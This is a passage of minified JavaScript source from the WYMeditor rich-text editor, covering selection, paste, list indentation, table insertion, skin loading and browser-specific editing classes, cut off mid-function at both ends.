wym.container(jQuery(this).attr(WYMeditor.NAME)),!1}),$html_val=jQuery(this._box).find(this._options.htmlValSelector),$html_val.keyup(function(){jQuery(wym._doc.body).html(jQuery(this).val())}),$html_val.focus(function(){jQuery(this).toggleClass("hasfocus")}),$html_val.blur(function(){jQuery(this).toggleClass("hasfocus")}),jQuery(this._box).find(this._options.classSelector).click(function(){var aClasses=eval(wym._options.classesItems),sName=jQuery(this).attr(WYMeditor.NAME),oClass=WYMeditor.Helper.findByName(aClasses,sName),jqexpr;return oClass&&(jqexpr=oClass.expr,wym.toggleClass(sName,jqexpr)),wym._iframe.contentWindow.focus(),!1}),jQuery(this._options.updateSelector).bind(this._options.updateEvent,function(){wym.update()})},WYMeditor.editor.prototype.ready=function(){return this._doc!==null},WYMeditor.editor.prototype.box=function(){return this._box},WYMeditor.editor.prototype.html=function(a){if(typeof a!="string")return jQuery(this._doc.body).html();jQuery(this._doc.body).html(a),this.update()},WYMeditor.editor.prototype.xhtml=function(){var a;return jQuery(this._doc.body).children(WYMeditor.BR).remove(),this.parser.parse(this.html())},WYMeditor.editor.prototype.exec=function(a){var b,c,d=this;switch(a){case WYMeditor.CREATE_LINK:b=this.container(),(b||this._selected_image)&&this.dialog(WYMeditor.DIALOG_LINK);break;case WYMeditor.INSERT_IMAGE:this.dialog(WYMeditor.DIALOG_IMAGE);break;case WYMeditor.INSERT_TABLE:this.dialog(WYMeditor.DIALOG_TABLE);break;case WYMeditor.PASTE:this.dialog(WYMeditor.DIALOG_PASTE);break;case WYMeditor.TOGGLE_HTML:this.update(),this.toggleHtml();break;case WYMeditor.PREVIEW:this.dialog(WYMeditor.PREVIEW,this._options.dialogFeaturesPreview);break;case WYMeditor.INSERT_ORDEREDLIST:this.insertOrderedlist();break;case WYMeditor.INSERT_UNORDEREDLIST:this.insertUnorderedlist();break;case WYMeditor.INDENT:this.indent();break;case WYMeditor.OUTDENT:this.outdent();break;default:c=!1,jQuery.each(this._options.customCommands,function(){if(a===this.name)return c=!0,this.run.apply(d),!1}),c||this._exec(a)}},WYMeditor.editor.prototype.selection=function(){window.rangy&&!rangy.initialized&&rangy.init();var a=this._iframe,b=rangy.getIframeSelection(a);return b},WYMeditor.editor.prototype.selected=function(){var a=this.selection(),b=a.focusNode,c;return b?(jQuery.browser.msie&&a.isCollapsed&&b.tagName&&b.tagName.toLowerCase()==="body"&&(c=this._iframe.contentWindow.document.caretPos,c&&c.parentElement&&(b=c.parentElement())),b.nodeName==="#text"?b.parentNode:b):null},WYMeditor.editor.prototype.selection_collapsed=function(){var a=this.selection(),b=!1;return jQuery.each(a.getAllRanges(),function(){if(this.collapsed)return b=!0,!1}),b},WYMeditor.editor.prototype.selected_contains=function(a){var b=this.selection(),c=[];return jQuery.each(b.getAllRanges(),function(){jQuery.each(this.getNodes(),function(){jQuery(this).is(a)&&c.push(this)})}),c},WYMeditor.editor.prototype.selected_parents_contains=function(a){var b=jQuery([]),c=jQuery(this.selected());return c.is(a)&&(b=b.add(c)),b=b.add(c.parents(a)),b},WYMeditor.editor.prototype.container=function(a){if(typeof a=="undefined")return this.selected();var b=null,c=null,d=null,e,f,g,h=null,i;if(a.toLowerCase()===WYMeditor.TH){b=this.container();switch(b.tagName.toLowerCase()){case WYMeditor.TD:case WYMeditor.TH:break;default:c=[WYMeditor.TD,WYMeditor.TH],b=this.findUp(this.container(),c)}b!==null&&(a=WYMeditor.TD,b.tagName.toLowerCase()===WYMeditor.TD&&(a=WYMeditor.TH),this.switchTo(b,a),this.update())}else{c=[WYMeditor.P,WYMeditor.H1,WYMeditor.H2,WYMeditor.H3,WYMeditor.H4,WYMeditor.H5,WYMeditor.H6,WYMeditor.PRE,WYMeditor.BLOCKQUOTE],b=this.findUp(this.container(),c);if(b){if(a.toLowerCase()===WYMeditor.BLOCKQUOTE){e=this.findUp(this.container(),WYMeditor.BLOCKQUOTE);if(e===null)d=this._doc.createElement(a),b.parentNode.insertBefore(d,b),d.appendChild(b),this.setFocusToNode(d.firstChild);else{f=e.childNodes,g=f.length,g>0&&(h=f.item(0));for(i=0;i<g;i+=1)e.parentNode.insertBefore(f.item(0),e);e.parentNode.removeChild(e),h&&this.setFocusToNode(h)}}else this.switchTo(b,a);this.update()}}return!1},WYMeditor.editor.prototype.toggleClass=function(a,b){var c=null;this._selected_image?c=this._selected_image:c=jQuery(this.selected()),c=jQuery(c).parentsOrSelf(b),jQuery(c).toggleClass(a),jQuery(c).attr(WYMeditor.CLASS)||jQuery(c).removeAttr(this._class)},WYMeditor.editor.prototype.findUp=function(a,b){if(typeof a=="undefined"||a===null)return null;a.nodeName==="#text"&&(a=a.parentNode);var c=a.tagName.toLowerCase(),d,e;if(typeof b===WYMeditor.STRING)while(c!==b&&c!==WYMeditor.BODY)a=a.parentNode,c=a.tagName.toLowerCase();else{d=!1;while(!d&&c!==WYMeditor.BODY){for(e=0;e<b.length;e+=1)if(c===b[e]){d=!0;break}if(!d){a=a.parentNode;if(a===null)return null;c=a.tagName.toLowerCase()}}}return c===WYMeditor.BODY?null:a},WYMeditor.editor.prototype.switchTo=function(a,b){var c=this._doc.createElement(b),d=jQuery(a).html();a.parentNode.replaceChild(c,a),jQuery(c).html(d),this.setFocusToNode(c)},WYMeditor.editor.prototype.replaceStrings=function(sVal){var key;if(!WYMeditor.STRINGS[this._options.lang])try{eval(jQuery.ajax({url:this._options.langPath+this._options.lang+".js",async:!1}).responseText)}catch(e){return WYMeditor.console.error("WYMeditor: error while parsing language file."),sVal}for(key in WYMeditor.STRINGS[this._options.lang])WYMeditor.STRINGS[this._options.lang].hasOwnProperty(key)&&(sVal=WYMeditor.Helper.replaceAll(sVal,this._options.stringDelimiterLeft+key+this._options.stringDelimiterRight,WYMeditor.STRINGS[this._options.lang][key]));return sVal},WYMeditor.editor.prototype.encloseString=function(a){return this._options.stringDelimiterLeft+a+this._options.stringDelimiterRight},WYMeditor.editor.prototype.status=function(a){jQuery(this._box).find(this._options.statusSelector).html(a)},WYMeditor.editor.prototype.update=function(){var a;jQuery(this._doc.body).children(WYMeditor.BR).remove(),a=this.xhtml(),jQuery(this._element).val(a),jQuery(this._box).find(this._options.htmlValSelector).not(".hasfocus").val(a),this.fixBodyHtml()},WYMeditor.editor.prototype.fixBodyHtml=function(){this.fixDoubleBr(),this.spaceBlockingElements()},WYMeditor.editor.prototype.spaceBlockingElements=function(){var a=WYMeditor.BLOCKING_ELEMENTS.join(", "),b=jQuery(this._doc).find("body.wym_iframe"),c=b.children(),d='<br _moz_editor_bogus_node="TRUE" _moz_dirty="">',e,f,g;c.length>0&&(e=jQuery(c[0]),f=jQuery(c[c.length-1]),e.is(a)&&e.before(d),f.is(a)&&f.after(d)),g=this._getBlockSepSelector(),b.find(g).before(d)},WYMeditor.editor.prototype._getBlockSepSelector=function(){if(typeof this._blockSpacersSel!="undefined")return this._blockSpacersSel;var a=[];return jQuery.each(WYMeditor.BLOCKING_ELEMENTS,function(b,c){jQuery.each(WYMeditor.BLOCKING_ELEMENTS,function(b,d){a.push(c+" + "+d)})}),jQuery.each(WYMeditor.BLOCKING_ELEMENTS,function(b,c){jQuery.each(WYMeditor.NON_BLOCKING_ELEMENTS,function(b,d){a.push(c+" + "+d),a.push(d+" + "+c)})}),this._blockSpacersSel=a.join(", "),this._blockSpacersSel},WYMeditor.editor.prototype.fixDoubleBr=function(){var a=jQuery(this._doc).find("body.wym_iframe"),b;a.children("br + br").filter(":not(pre br)").remove(),a.find("p + br").next("p").prev("br").remove(),b=a.find("p + br").slice(-1),b.length>0&&b.next().length===0&&b.remove()},WYMeditor.editor.prototype.dialog=function(a,b,c){var d=b||this._wym._options.dialogFeatures,e=window.open("","dialog",d),f,g=WYMeditor.Helper,h,i;if(e){f="";switch(a){case WYMeditor.DIALOG_LINK:f=this._options.dialogLinkHtml;break;case WYMeditor.DIALOG_IMAGE:f=this._options.dialogImageHtml;break;case WYMeditor.DIALOG_TABLE:f=this._options.dialogTableHtml;break;case WYMeditor.DIALOG_PASTE:f=this._options.dialogPasteHtml;break;case WYMeditor.PREVIEW:f=this._options.dialogPreviewHtml;break;default:f=c}h=this._options.dialogHtml,h=g.replaceAll(h,WYMeditor.BASE_PATH,this._options.basePath),h=g.replaceAll(h,WYMeditor.DIRECTION,this._options.direction),h=g.replaceAll(h,WYMeditor.CSS_PATH,this._options.skinPath+WYMeditor.SKINS_DEFAULT_CSS),h=g.replaceAll(h,WYMeditor.WYM_PATH,this._options.wymPath),h=g.replaceAll(h,WYMeditor.JQUERY_PATH,this._options.jQueryPath),h=g.replaceAll(h,WYMeditor.DIALOG_TITLE,this.encloseString(a)),h=g.replaceAll(h,WYMeditor.DIALOG_BODY,f),h=g.replaceAll(h,WYMeditor.INDEX,this._index),h=this.replaceStrings(h),i=e.document,i.write(h),i.close()}},WYMeditor.editor.prototype.toggleHtml=function(){jQuery(this._box).find(this._options.htmlSelector).toggle()},WYMeditor.editor.prototype.uniqueStamp=function(){var a=new Date;return"wym-"+a.getTime()},WYMeditor.editor.prototype._handleMultilineBlockContainerPaste=function(a,b,c,d){var e,f,g,h,i,j,k,l,m,n;$insertAfter=jQuery(m),f="p",b.is("li")&&(f="li"),c.splitBoundaries(),m=a.findUp(c.startContainer,["p","h1","h2","h3","h4","h5","h6","li"]),n=m.tagName,g=[],h=[],jQuery(m).contents().each(function(a,b){i=c.compareNode(b),i===c.NODE_BEFORE||i===c.NODE_BEFORE_AND_AFTER&&c.startOffset===c.startContainer.length?g.push(b):h.push(b)});for(e=0;e<g.length;e++)jQuery(g[e]).remove();for(e=0;e<h.length;e++)jQuery(h[e]).remove();g.length>0&&jQuery(m).prepend(g),h.length>0&&(j=jQuery("<"+n+">"+"</"+n+">",a._doc),j.insertAfter(jQuery(m)),j.append(h)),k=d.splice(0,1)[0],l=k.split(WYMeditor.NEWLINE).join("<br />"),jQuery(m).html(jQuery(m).html()+l),$insertAfter=jQuery(m);for(e=0;e<d.length;e++)html="<"+f+">"+d[e].split(WYMeditor.NEWLINE).join("<br />")+"</"+f+">",$insertAfter=jQuery(html,a._doc).insertAfter($insertAfter)},WYMeditor.editor.prototype.paste=function(a){var b=this.selected(),c,d="",e,f,g,h,i=!1,k,l,m,n,o;m=this,k=rangy.getIframeSelection(m._iframe),n=k.getRangeAt(0),c=jQuery(b),n.collapse(!0),paragraphStrings=a.split(new RegExp(WYMeditor.NEWLINE+"{2,}","g")),paragraphStrings.length===1&&(i=!0);if(typeof b=="undefined"||b&&b.tagName.toLowerCase()===WYMeditor.BODY)if(i)e=jQuery("<p>"+paragraphStrings[0]+"</p>",this._doc).appendTo(this._doc.body);else{blockSplitter="p";for(g=paragraphStrings.length-1;g>=0;g-=1){d="<"+blockSplitter+">"+paragraphStrings[g].split(WYMeditor.NEWLINE).join("<br />")+"</"+blockSplitter+">",o=jQuery(d,m._doc);for(j=o.length-1;j>=0;j--)n.insertNode(o[j])}}else if(i||c.is("pre"))l=this._doc.createTextNode(a),n.insertNode(l);else if(c.is("p,h1,h2,h3,h4,h5,h6,li"))m._handleMultilineBlockContainerPaste(m,c,n,paragraphStrings);else{textNodesToInsert=a.split(WYMeditor.NEWLINE);for(g=textNodesToInsert.length-1;g>=0;g-=1)l=this._doc.createTextNode(textNodesToInsert[g]),n.insertNode(l),g>0&&n.insertNode(jQuery("<br />",m._doc).get(0))}},WYMeditor.editor.prototype.insert=function(a){var b=this._iframe.contentWindow.getSelection(),c,d;b.focusNode!==null?(c=b.getRangeAt(0),d=c.createContextualFragment(a),c.deleteContents(),c.insertNode(d)):this.paste(a)},WYMeditor.editor.prototype.wrap=function(a,b){this.insert(a+this._iframe.contentWindow.getSelection().toString()+b)},WYMeditor.editor.prototype.unwrap=function(){this.insert(this._iframe.contentWindow.getSelection().toString())},WYMeditor.editor.prototype.setFocusToNode=function(a,b){var c=this._doc.createRange(),d=this._iframe.contentWindow.getSelection();b=b?0:1,c.selectNodeContents(a),d.addRange(c),d.collapse(a,b),this._iframe.contentWindow.focus()},WYMeditor.editor.prototype.addCssRules=function(a,b){var c=a.styleSheets[0],d,e;if(c)for(d=0;d<b.length;d+=1)e=b[d],e.name&&e.css&&this.addCssRule(c,e)},WYMeditor.editor.prototype.splitListItemContents=function(a){var b,c,d,e=!1,f={itemContents:[],sublistContents:[]};b=a.contents();for(c=0;c<b.length;c++)d=b.get(c),e||jQuery(d).is("ol,ul")?(e=!0,f.sublistContents.push(d)):f.itemContents.push(d);return f},WYMeditor.editor.prototype.joinAdjacentLists=function(a,b){var c;if(typeof a=="undefined"||typeof b=="undefined")return;if(a.nextSibling!==b||a.tagName.toLowerCase()!==b.tagName.toLowerCase())return;c=jQuery(b).contents(),c.unwrap(),c.detach(),jQuery(a).append(c)},WYMeditor.editor.prototype._indentSingleItem=function(a){var b=this,c,d,e,f,g,h,i,j,k,l,m,n;c=jQuery(a),d=c.parent()[0].tagName.toLowerCase(),g=b.splitListItemContents(c),i=jQuery(g.sublistContents),h=jQuery(g.itemContents),j=c.prev().filter("li"),j.length===0&&(e='<li class="spacer_li"></li>',c.before(e),j=c.prev()),k=j.contents().last().filter("ol,ul"),k.length>0?(k.append(c),i.detach(),j.append(i),l=i.first(),b.joinAdjacentLists(k.get(0),l.get(0))):(i.length>0?(i.detach(),j.append(i),k=i.first()):(f="<"+d+"></"+d+">",j.append(f),k=j.contents().last()),k.prepend(c)),c.next().is(".spacer_li")&&(m=c.next(".spacer_li"),n=m.contents(),n.detach(),c.append(n),m.remove())},WYMeditor.editor.prototype._outdentSingleItem=function(a){var b=this,c,d,e,f,g,h,i,j,k,l,m;c=jQuery(a),d=c.parent()[0].tagName.toLowerCase();if(!c.parent().parent().is("ol,ul,li"))return;c.parent().parent().is("li")||(WYMeditor.console.log("Attempting to fix invalid list nesting before outdenting."),b.correctInvalidListNesting(a)),f=b.splitListItemContents(c),h=jQuery(f.sublistContents),g=jQuery(f.itemContents),i=c.parent().parent("li");if(i.length===0){WYMeditor.console.error("Invalid list. No parentLi found, so aborting outdent");return}j=c.parent(),k=c.nextAllContents(),l=j.nextAllContents(),c.detach(),i.after(c),h.length>0&&(e="<"+d+">"+'<li class="spacer_li"></li>'+"</"+d+">",c.append(e),m=c.children().last(),h.detach(),m.children("li").append(h)),k.length>0&&(typeof m=="undefined"&&(e="<"+d+"></"+d+">",c.append(e),m=c.children().last()),k.detach(),m.append(k)),l.length>0&&(l.detach(),c.contents().length>0&&c.contents().last()[0].nodeType===WYMeditor.NODE.TEXT&&l[0].nodeType===WYMeditor.NODE.TEXT&&c.append("<br />"),c.append(l)),j.contents().length===0&&j.remove(),i.contents().length===0&&i.remove()},WYMeditor.editor.prototype.correctInvalidListNesting=function(a,b){var c=a,d,e;typeof b=="undefined"&&(b=!1);if(!c)return b;while(c.parentNode){d=c.parentNode;if(d.nodeType!==WYMeditor.NODE.ELEMENT)break;e=d.tagName.toLowerCase();if(e!=="ol"&&e!=="ul"&&e!=="li")break;c=d}return jQuery(c).is("li")?(WYMeditor.console.log("Correcting orphaned root li before correcting invalid list nesting."),this._correctOrphanedListItem(c),this.correctInvalidListNesting(c,!0)):jQuery(c).is("ol,ul")?this._correctInvalidListNesting(c,b):(WYMeditor.console.error("Can't correct invalid list nesting. No root list found"),b)},WYMeditor.editor.prototype._correctOrphanedListItem=function(a){var b,c,d=jQuery(),e,f;b=jQuery(a).prevContentsUntil(":not(li)"),c=jQuery(a).nextContentsUntil(":not(li)"),d=d.add(b),d=d.add(a),d=d.add(c),f=d[0].previousSibling,f&&jQuery(f).is("ol,ul")?e=f:(d.before("<ol></ol>"),e=d.prev()[0]),jQuery(e).append(d)},WYMeditor.editor.prototype._correctInvalidListNesting=function(a,b){var c=a,d=a,e=!1,f,g,h,i,j,k,l,m,n='<li class="spacer_li"></li>';typeof b!="undefined"&&(e=b);while(d)if(d._wym_visited){d._wym_visited=!1;if(d===c)break;d.previousSibling?d=d.previousSibling:d=d.parentNode}else{if(d!==c&&!jQuery(d).is("li")){j=d;while(j.parentNode){j=j.parentNode;if(jQuery(j).is("li"))break;if(j.nodeType!==WYMeditor.NODE.ELEMENT)break;i=j.tagName.toLowerCase();if(i==="ol"||i==="ul"){WYMeditor.console.log("Fixing orphaned list content"),e=!0,k=[d],f=d,l=null;while(f.previousSibling){f=f.previousSibling;if(jQuery(f).is("li")){l=f;break}k.push(f)}k.reverse(),!l&&k.length===1&&jQuery(d.nextSibling).is("li")&&(l=d.nextSibling),l||(jQuery(k[0]).before(n),l=jQuery(k[0]).prev()[0]),m=jQuery(l).contents().last(),m.length===1&&m[0].nodeType===WYMeditor.NODE.TEXT&&k[0].nodeType===WYMeditor.NODE.TEXT&&jQuery(l).append("<br />"),jQuery(l).append(jQuery(k));break}}}d.lastChild?(d._wym_visited=!0,d=d.lastChild):d.previousSibling?d=d.previousSibling:d=d.parentNode}return e},WYMeditor.editor.prototype.getCommonParentList=function(a){var b,c,d;return a=jQuery(a).filter("li"),a.length===0?null:(b=a[0],c=jQuery(b).parent("ol,ul"),c.length===0?null:(d=c[0],jQuery(a).each(function(a,b){c=jQuery(b).parent("ol,ul");if(c.length===0||c[0]!==d)return null}),d))},WYMeditor.editor.prototype._getSelectedListItems=function(a){var b=this,c,d,e,f=[],g=[],h,i,k,l,m;h=function(a){var b;if(rangy.dom.isCharacterDataNode(a))return a;try{b=d.containsNodeText(a)}catch(c){return!0}if(b===!0)return!0};for(c=0;c<a.rangeCount;c++){d=a.getRangeAt(c);if(d.collapsed===!0)e=b.findUp(d.startContainer,"li"),e&&(f=f.concat([e]));else{f=f.concat(d.getNodes([],h)),i=[];for(j=0;j<f.length;j++){k=f[j];if(!jQuery(k).is("li,ol,ul"))while(k.parentNode){k=k.parentNode;if(jQuery(k).is("li")){i.push(k);break}}}for(j=0;j<i.length;j++)jQuery.inArray(i[j],f)===-1&&f.push(i[j])}}for(c=0;c<f.length;c++)f[c].nodeType===WYMeditor.NODE.ELEMENT&&f[c].tagName.toLowerCase()===WYMeditor.LI&&g.push(f[c]);return g},WYMeditor.editor.prototype.indent=function(){var a=this._wym,b=rangy.getIframeSelection(this._iframe),c,d,e;return e=function(){var b=a.selected(),c=a.findUp(b,["ol","ul","li"]);return a.correctInvalidListNesting(c)},a.restoreSelectionAfterManipulation(e)?!0:(b=rangy.getIframeSelection(this._iframe),c=a._getSelectedListItems(b),c.length===0?!1:(d=a.getCommonParentList(c),d===null?!1:(e=function(){var b=!1;for(i=0;i<c.length;i++)a._indentSingleItem(c[i]),b=!0;return b},a.restoreSelectionAfterManipulation(e))))},WYMeditor.editor.prototype.outdent=function(){var a=this._wym,b=rangy.getIframeSelection(this._iframe),c,d,e;return e=function(){var b=a.selected(),c=a.findUp(b,["ol","ul","li"]);return a.correctInvalidListNesting(c)},a.restoreSelectionAfterManipulation(e)?!0:(b=rangy.getIframeSelection(this._iframe),c=a._getSelectedListItems(b),c.length===0?!1:(d=a.getCommonParentList(c),d===null?!1:(e=function(){var b=!1;for(i=0;i<c.length;i++)a._outdentSingleItem(c[i]),b=!0;return b},a.restoreSelectionAfterManipulation(e))))},WYMeditor.editor.prototype.restoreSelectionAfterManipulation=function(a){var b=rangy.getIframeSelection(this._iframe),c=rangy.saveSelection(rangy.dom.getIframeWindow(this._iframe)),d=!0;try{d=a(),d?rangy.restoreSelection(c):rangy.removeMarkers(c)}catch(e){WYMeditor.console.error("Error during manipulation"),WYMeditor.console.error(e),rangy.removeMarkers(c)}return d},WYMeditor.editor.prototype.insertOrderedlist=function(){var a=this,b;return b=function(){var b=a.selected(),c=a.findUp(b,["ol","ul","li"]);return a.correctInvalidListNesting(c)},a.restoreSelectionAfterManipulation(b)?!0:(b=function(){return a._insertList("ol")},a.restoreSelectionAfterManipulation(b))},WYMeditor.editor.prototype.insertUnorderedlist=function(){var a=this,b;return b=function(){var b=a.selected(),c=a.findUp(b,["ol","ul","li"]);return a.correctInvalidListNesting(c)},a.restoreSelectionAfterManipulation(b)?!0:(b=function(){return a._insertList("ul")},a.restoreSelectionAfterManipulation(b))},WYMeditor.editor.prototype._insertList=function(a){var b=this._wym,c=rangy.getIframeSelection(this._iframe),d,e,f,g;return d=b._getSelectedListItems(c),d.length!==0?(e=b.getCommonParentList(d),e?(this._changeListType(e,a),!0):!1):(f=this.selected(),g=this.findUp(f,WYMeditor.POTENTIAL_LIST_ELEMENTS),g?(this._convertToList(g,a),!0):!1)},WYMeditor.editor.prototype._changeListType=function(a,b){return WYMeditor.changeNodeType(a,b)},WYMeditor.editor.prototype._convertToList=function(a,b){var c=jQuery(a),d,e;return d="<"+b+"><li></li></"+b+">",this.findUp(a,WYMeditor.MAIN_CONTAINERS)===a?(c.wrapInner(d),e=c.children(),e.unwrap(),e.get(0)):(c.wrapInner(d),e=c.children(),e.get(0))},WYMeditor.editor.prototype.insertTable=function(a,b,c,d){if(a<=0||b<=0)return;var e=this._doc.createElement(WYMeditor.TABLE),f=null,g=null,h,i,j,k;h=e.createCaption(),h.innerHTML=c;for(i=0;i<a;i+=1){f=e.insertRow(i);for(j=0;j<b;j+=1)f.insertCell(j)}return d!==""&&jQuery(e).attr("summary",d),k=jQuery(this.findUp(this.container(),WYMeditor.MAIN_CONTAINERS)).get(0),!k||!k.parentNode?jQuery(this._doc.body).append(e):jQuery(k).after(e),this.afterInsertTable(e),this.fixBodyHtml(),e},WYMeditor.editor.prototype.afterInsertTable=function(a){},WYMeditor.editor.prototype.configureEditorUsingRawCss=function(){var a=new WYMeditor.WymCssParser;this._options.stylesheet?a.parse(jQuery.ajax({url:this._options.stylesheet,async:!1}).responseText):a.parse(this._options.styles,!1),this._options.classesItems.length===0&&(this._options.classesItems=a.css_settings.classesItems),this._options.editorStyles.length===0&&(this._options.editorStyles=a.css_settings.editorStyles),this._options.dialogStyles.length===0&&(this._options.dialogStyles=a.css_settings.dialogStyles)},WYMeditor.editor.prototype.listen=function(){var a=this;jQuery(this._doc.body).bind("mousedown",function(b){a.mousedown(b)})},WYMeditor.editor.prototype.mousedown=function(a){this._selected_image=null,a.target.tagName.toLowerCase()===WYMeditor.IMG&&(this._selected_image=a.target)},WYMeditor.loadCss=function(a){var b=document.createElement("link"),c;b.rel="stylesheet",b.href=a,c=jQuery("head").get(0),c.appendChild(b)},WYMeditor.editor.prototype.loadSkin=function(){if(this._options.loadSkin&&!WYMeditor.SKINS[this._options.skin]){var found=!1,rExp=new RegExp(this._options.skin+"/"+WYMeditor.SKINS_DEFAULT_CSS+"$");jQuery("link").each(function(){this.href.match(rExp)&&(found=!0)}),found||WYMeditor.loadCss(this._options.skinPath+WYMeditor.SKINS_DEFAULT_CSS)}jQuery(this._box).addClass("wym_skin_"+this._options.skin),this._options.initSkin&&!WYMeditor.SKINS[this._options.skin]&&eval(jQuery.ajax({url:this._options.skinPath+WYMeditor.SKINS_DEFAULT_JS,async:!1}).responseText),WYMeditor.SKINS[this._options.skin]&&WYMeditor.SKINS[this._options.skin].init&&WYMeditor.SKINS[this._options.skin].init(this)},WYMeditor.WymClassExplorer=function(a){this._wym=a,this._class="className"},WYMeditor.WymClassExplorer.PLACEHOLDER_NODE="<br>",WYMeditor.WymClassExplorer.prototype.initIframe=function(iframe){this._iframe=iframe,this._doc=iframe.contentWindow.document;var styles=this._doc.styleSheets[0],aCss=eval(this._options.editorStyles);this.addCssRules(this._doc,aCss),this._doc.title=this._wym._index,jQuery("html",this._doc).attr("dir",this._options.direction),jQuery(this._doc.body).html(this._wym._html);var wym=this;this._doc.body.onfocus=function(){wym._doc.designMode="on",wym._doc=iframe.contentWindow.document},this._doc.onbeforedeactivate=function(){wym.saveCaret()},jQuery(this._doc).bind("keyup",wym.keyup);var ieVersion=parseInt(jQuery.browser.version,10);ieVersion>=8&&ieVersion<9&&jQuery(this._doc).bind("keydown",function(){wym.fixBluescreenOfDeath()}),this._doc.onkeyup=function(){wym.saveCaret()},this._doc.onclick=function(){wym.saveCaret()},this._doc.body.onbeforepaste=function(){wym._iframe.contentWindow.event.returnValue=!1},this._doc.body.onpaste=function(){wym._iframe.contentWindow.event.returnValue=!1,wym.paste(window.clipboardData.getData("Text"))},this._initialized&&(jQuery.isFunction(this._options.preBind)&&this._options.preBind(this),this._wym.bindEvents(),jQuery.isFunction(this._options.postInit)&&this._options.postInit(this),this.listen()),this._initialized=!0,this._doc.designMode="on";try{this._doc=iframe.contentWindow.document}catch(e){}},function(a){WYMeditor.WymClassExplorer.prototype.loadSkin=function(){jQuery(this._box).find(this._options.containerSelector).attr("unselectable","on"),a.call(this)}}(WYMeditor.editor.prototype.loadSkin),WYMeditor.WymClassExplorer.prototype.fixBluescreenOfDeath=function(){var a=jQuery(this._doc).find("p").eq(0).position();a!==null&&typeof a!="undefined"&&a.left<0&&(jQuery(this._box).append('<br id="wym-bluescreen-bug-fix" />'),jQuery(this._box).find("#wym-bluescreen-bug-fix").remove())},WYMeditor.WymClassExplorer.prototype._exec=function(a,b){b?this._doc.execCommand(a,!1,b):this._doc.execCommand(a)},WYMeditor.WymClassExplorer.prototype.saveCaret=function(){this._doc.caretPos=this._doc.selection.createRange()},WYMeditor.WymClassExplorer.prototype.addCssRule=function(a,b){var c=b.name.split(","),d;for(d=0;d<c.length;d++)a.addRule(c[d],b.css)},WYMeditor.WymClassExplorer.prototype.insert=function(a){var b=this._doc.selection.createRange();if(jQuery(b.parentElement()).parents().is(this._options.iframeBodySelector))try{b.pasteHTML(a)}catch(c){}else this.paste(a)},WYMeditor.WymClassExplorer.prototype.wrap=function(a,b){var c=this._doc.selection.createRange();if(jQuery(c.parentElement()).parents().is(this._options.iframeBodySelector))try{c.pasteHTML(a+c.text+b)}catch(d){}},WYMeditor.WymClassExplorer.prototype.unwrap=function(){var a=this._doc.selection.createRange();if(jQuery(a.parentElement()).parents().is(this._options.iframeBodySelector))try{var b=a.text;this._exec("Cut"),a.pasteHTML(b)}catch(c){}},WYMeditor.WymClassExplorer.prototype.keyup=function(a){var b=WYMeditor.INSTANCES[this.title];this._selected_image=null;var c=null;if(a.keyCode!==WYMeditor.KEY.BACKSPACE&&a.keyCode!==WYMeditor.KEY.CTRL&&a.keyCode!==WYMeditor.KEY.DELETE&&a.keyCode!==WYMeditor.KEY.COMMAND&&a.keyCode!==WYMeditor.KEY.UP&&a.keyCode!==WYMeditor.KEY.DOWN&&a.keyCode!==WYMeditor.KEY.ENTER&&!a.metaKey&&!a.ctrlKey){c=b.selected();var d="";c!==null&&(d=c.tagName.toLowerCase());if(d==="strong"||d==="b"||d==="em"||d==="i"||d==="sub"||d==="sup"||d==="a")d=c.parentNode.tagName.toLowerCase();d===WYMeditor.BODY&&(b._exec(WYMeditor.FORMAT_BLOCK,WYMeditor.P),b.fixBodyHtml())}(a.keyCode===WYMeditor.KEY.UP||a.keyCode===WYMeditor.KEY.DOWN||a.keyCode===WYMeditor.KEY.BACKSPACE||a.keyCode===WYMeditor.KEY.ENTER)&&b.fixBodyHtml()},WYMeditor.WymClassExplorer.prototype.setFocusToNode=function(a,b){var c=this._doc.selection.createRange();b=b?!0:!1,c.moveToElementText(a),c.collapse(b),c.select(),a.focus()},WYMeditor.WymClassExplorer.prototype.spaceBlockingElements=function(){var a=WYMeditor.BLOCKING_ELEMENTS.join(", "),b=jQuery(this._doc).find("body.wym_iframe"),c=b.children(),d=WYMeditor.WymClassExplorer.PLACEHOLDER_NODE;if(c.length>0){var e=jQuery(c[0]),f=jQuery(c[c.length-1]);e.is(a)&&e.before(d),jQuery.browser.version>="7.0"&&f.is(a)&&f.after(d)}var g=this._getBlockSepSelector();b.find(g).before(d)},WYMeditor.WymClassMozilla=function(a){this._wym=a,this._class="class"},WYMeditor.WymClassMozilla.CELL_PLACEHOLDER='<br _moz_dirty="">',WYMeditor.WymClassMozilla.NEEDS_CELL_FIX=jQuery.browser.version>="1.9.1"&&jQuery.browser.version<"2.0",WYMeditor.WymClassMozilla.prototype.initIframe=function(iframe){var wym=this,styles,aCss;this._iframe=iframe,this._doc=iframe.contentDocument,styles=this._doc.styleSheets[0],aCss=eval(this._options.editorStyles),this.addCssRules(this._doc,aCss),this._doc.title=this._wym._index,jQuery("html",this._doc).attr("dir",this._options.direction),this.html(this._wym._html),this.enableDesignMode(),jQuery.isFunction(this._options.preBind)&&this._options.preBind(this),this._wym.bindEvents(),jQuery(this._doc).bind("keydown",this.keydown),jQuery(this._doc).bind("keyup",this.keyup),jQuery(this._doc).bind("click",this.click),jQuery(this._doc).bind("focus",function(){wym.enableDesignMode.call(wym)}),jQuery.isFunction(this._options.postInit)&&this._options.postInit(this),this.listen()},WYMeditor.WymClassMozilla.prototype.html=function(a){if(typeof a!="string")return jQuery(this._doc.body).html();try{this._doc.designMode="off"}catch(b){}return a=a.replace(/<em(\b[^>]*)>/gi,"<i$1>"),a=a.replace(/<\/em>/gi,"</i>"),a=a.replace(/<strong(\b[^>]*)>/gi,"<b$1>"),a=a.replace(/<\/strong>/gi,"</b>"),jQuery(this._doc.body).html(a),this._wym.fixBodyHtml(),this.enableDesignMode(),!1},WYMeditor.WymClassMozilla.prototype._exec=function(a,b){if(!this.selected())return!1;b?this._doc.execCommand(a,"",b):this._doc.execCommand(a,"",null);var c=this.selected();return c.tagName.toLowerCase()===WYMeditor.BODY&&this._exec(WYMeditor.FORMAT_BLOCK,WYMeditor.P),!0},WYMeditor.WymClassMozilla.prototype.addCssRule=function(a,b){a.insertRule(b.name+" {"+b.css+"}",a.cssRules.length)},WYMeditor.WymClassMozilla.prototype.keydown=function(a){var b=WYMeditor.INSTANCES[this.title];if(a.ctrlKey){if(a.keyCode===66)return b._exec(WYMeditor.BOLD),!1;if(a.keyCode===73)return 